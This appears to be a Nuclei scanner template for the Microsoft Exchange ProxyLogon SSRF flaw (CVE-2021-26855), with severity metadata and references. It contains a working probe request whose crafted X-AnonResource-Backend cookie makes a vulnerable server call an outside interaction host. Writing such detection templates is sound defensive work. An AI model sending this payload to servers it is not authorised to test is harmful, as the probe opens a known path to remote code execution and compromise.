This vulnerability is part of an attack chain that could allow remote code execution on Microsoft Exchange Server. The initial attack requires the ability to make an untrusted connection to Exchange server port 443. Other portions of the chain can be triggered if an attacker already has access or can convince an administrator to open a malicious file. Be aware his CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.
id: CVE-2021-26855
info:
name: Microsoft Exchange Server SSRF Vulnerability
author: madrobot
severity: critical
description: This vulnerability is part of an attack chain that could allow remote code execution on Microsoft Exchange Server. The initial attack requires the ability to make an untrusted connection to Exchange server port 443. Other portions of the chain can be triggered if an attacker already has access or can convince an administrator to open a malicious file. Be aware his CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, remote code execution, or further compromise of the affected system.
remediation: Apply the appropriate security update.
reference:
- https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855
- https://proxylogon.com/#timeline
- https://web.archive.org/web/20210306113850/https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse
- https://gist.github.com/testanull/324546bffab2fe4916d0f9d1f03ffa09
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26855
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2021-26855
cwe-id: CWE-918
epss-score: 0.97507
epss-percentile: 0.9998
cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_21:*:*:*:*:*:*
metadata:
max-request: 1
vendor: microsoft
product: exchange_server
shodan-query: vuln:CVE-2021-26855
tags: cve2021,cve,ssrf,rce,exchange,oast,microsoft,kev
http:
- raw:
- |
GET /owa/auth/x.js HTTP/1.1
Host: {{Hostname}}
Cookie: X-AnonResource=true; X-AnonResource-Backend={{interactsh-url}}/ecp/default.flt?~3;
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 490a0046304402200fe691411eb53b66b4b48310012159cc2bfc49aa63c0600a307d387ce1aec440022061edab41f21f98729505a5cc7d7b10ac98eca71c97400b948a630967c9e0a0b0:922c64590222798bb761d5b6d8e72950
gist.github.com/testanull/324546bffab2fe4916d0f9d1f03ffa09
msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855
portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26855
proxylogon.com/#timeline
web.archive.org/web/20210306113850/https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse